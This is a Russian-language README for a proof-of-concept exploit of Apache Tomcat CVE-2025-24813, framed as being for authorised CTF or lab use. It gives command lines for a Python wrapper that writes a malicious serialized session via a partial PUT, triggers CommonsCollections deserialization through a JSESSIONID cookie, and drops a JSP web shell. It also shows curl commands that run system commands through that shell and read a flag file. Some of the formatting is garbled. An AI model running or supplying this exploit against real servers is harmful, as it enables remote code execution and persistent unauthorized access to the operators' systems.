
правильный payload для java CVE
PoC для авторизованной среды CTF/лаборатории. Он эксплуатирует CVE-2025-24813 через частичную запись PUT файла сессии Tomcat, а затем запускает десериализацию с помощью JSESSIONID.
requestsjava и javac)commons-collections-3.2.1.jar, размещённый в этой папкеysoserial не требуется.
poc_cve_2025_24813.py: обёртка Python, автоматизирующая генерацию, загрузку и триггер.GenerateTomcatSessionPayload.java: генерирует валидную сессию Tomcat, содержащую гаджет CommonsCollections.commons-collections-3.2.1.jar: зависимость гаджета.sh.jsp: опциональный JSP-шелл, разворачиваемый через --drop-shell.Разместить JSP-шелл в веб-корне по умолчанию /opt/tomcat/webapps/ROOT:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id poc24813 \
--drop-shell \
--shell-name sh.jsp
Выполнить прямую команду без размещения шелла:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id cmd24813 \
--cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
Если веб-корень отличается:
./poc_cve_2025_24813.py http://TARGET:8080 \
--drop-shell \
--webroot /path/to/webroot \
--shell-name sh.jsp
Если JAR-файл перемещён, укажите его путь:
./poc_cve_2025_24813.py http://TARGET:8080 \
--jar /path/to/commons-collections-3.2.1.jar \
--drop-shell
Если --drop-shell успешен:
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
DefaultServlet доступен для записи, обычно readonly=false.PersistentManager и FileStore.commons-collections.Ожидаемое поведение при загрузке — часто HTTP 409 Conflict на:
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200
Затем десериализация инициируется с:
Cookie: JSESSIONID=.<session-id>